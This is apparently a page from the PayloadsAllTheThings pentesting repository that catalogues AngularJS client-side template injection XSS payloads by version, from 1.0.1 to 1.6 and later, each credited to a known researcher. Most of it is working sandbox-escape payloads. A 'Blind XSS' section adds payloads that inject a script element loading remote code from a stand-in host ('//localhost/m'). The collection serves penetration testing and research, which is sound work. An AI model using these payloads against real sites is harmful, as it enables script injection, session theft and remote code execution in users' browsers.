PayloadsAllTheThings/XSS Injection/XSS in Angular.md
2019-07-12 12:49:02 -07:00

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# XSS in Angular
The following payloads are based on Client Side Template Injection.
## Stored/Reflected XSS - Simple alert
> Angular as of version 1.6 have removed the sandbox altogether
Angular 1.6+ by [Mario Heiderich](https://twitter.com/cure53berlin)
```javascript
{{constructor.constructor('alert(1)')()}}
```
Angular 1.6+ by [@brutelogic](https://twitter.com/brutelogic/status/1031534746084491265)
```javascript
{{[].pop.constructor&#40'alert\u00281\u0029'&#41&#40&#41}}
```
Example available at [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?a=<brute+ng-app>%7B%7B[].pop.constructor%26%2340%27alert%5Cu00281%5Cu0029%27%26%2341%26%2340%26%2341%7D%7D)
Angular 1.6.0 by [@LewisArdern](https://twitter.com/LewisArdern/status/1055887619618471938) & [@garethheyes](https://twitter.com/garethheyes/status/1055884215131213830)
```javascript
{{0[a='constructor'][a]('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
```
Angular 1.5.9 - 1.5.11 by [Jan Horn](https://twitter.com/tehjh)
```javascript
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
```
Angular 1.5.0 - 1.5.8
```javascript
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
```
Angular 1.4.0 - 1.4.9
```javascript
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
```
Angular 1.3.20
```javascript
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
```
Angular 1.3.19
```javascript
{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//');
}}
```
Angular 1.3.3 - 1.3.18
```javascript
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}
```
Angular 1.3.1 - 1.3.2
```javascript
{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
}}
```
Angular 1.3.0
```javascript
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}
```
Angular 1.2.24 - 1.2.29
```javascript
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
```
Angular 1.2.19 - 1.2.23
```javascript
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
```
Angular 1.2.6 - 1.2.18
```javascript
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
```
Angular 1.2.2 - 1.2.5
```javascript
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
```
Angular 1.2.0 - 1.2.1
```javascript
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
```
Angular 1.0.1 - 1.1.5 and Vue JS
```javascript
{{constructor.constructor('alert(1)')()}}
```
## Blind XSS
1.0.1 - 1.1.5 && > 1.6.0 by Mario Heiderich (Cure53)
```javascript
{{
constructor.constructor("var _ = document.createElement('script');
_.src='//localhost/m';
document.getElementsByTagName('body')[0].appendChild(_)")()
}}
```
Shorter 1.0.1 - 1.1.5 && > 1.6.0 by Lewis Ardern (Synopsys) and Gareth Heyes (PortSwigger)
```javascript
{{
$on.constructor("var _ = document.createElement('script');
_.src='//localhost/m';
document.getElementsByTagName('body')[0].appendChild(_)")()
}}
```
1.2.0 - 1.2.5 by Gareth Heyes (PortSwigger)
```javascript
{{
a="a"["constructor"].prototype;a.charAt=a.trim;
$eval('a",eval(`var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),"')
}}
```
1.2.6 - 1.2.18 by Jan Horn (Cure53, now works at Google Project Zero)
```javascript
{{
(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval("
var _ = document.createElement(\'script\');
_.src=\'//localhost/m\';
document.getElementsByTagName(\'body\')[0].appendChild(_)")')()
}}
```
1.2.19 (FireFox) by Mathias Karlsson
```javascript
{{
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a",'eval("var _ = document.createElement(\'script\');
_.src=\'//localhost/m\';
document.getElementsByTagName(\'body\')[0].appendChild(_)")'].sort(toString.constructor);
}}
```
1.2.20 - 1.2.29 by Gareth Heyes (PortSwigger)
```javascript
{{
a="a"["constructor"].prototype;a.charAt=a.trim;
$eval('a",eval(`
var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),"')
}}
```
1.3.0 - 1.3.9 by Gareth Heyes (PortSwigger)
```javascript
{{
a=toString().constructor.prototype;a.charAt=a.trim;
$eval('a,eval(`
var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),a')
}}
```
1.4.0 - 1.5.8 by Gareth Heyes (PortSwigger)
```javascript
{{
a=toString().constructor.prototype;a.charAt=a.trim;
$eval('a,eval(`var _=document.createElement(\'script\');
_.src=\'//localhost/m\';document.body.appendChild(_);`),a')
}}
```
1.5.9 - 1.5.11 by Jan Horn (Cure53, now works at Google Project Zero)
```javascript
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;
c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(`var _=document.createElement(\\'script\\');_.src=\\'//localhost/m\\';document.body.appendChild(_);`)))+';astNode.argument={type:'Identifier',name:'foo'};");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
```
## References
- [XSS without HTML - CSTI with Angular JS - Portswigger](https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs)
- [Blind XSS AngularJS Payloads](https://ardern.io/2018/12/07/angularjs-bxss)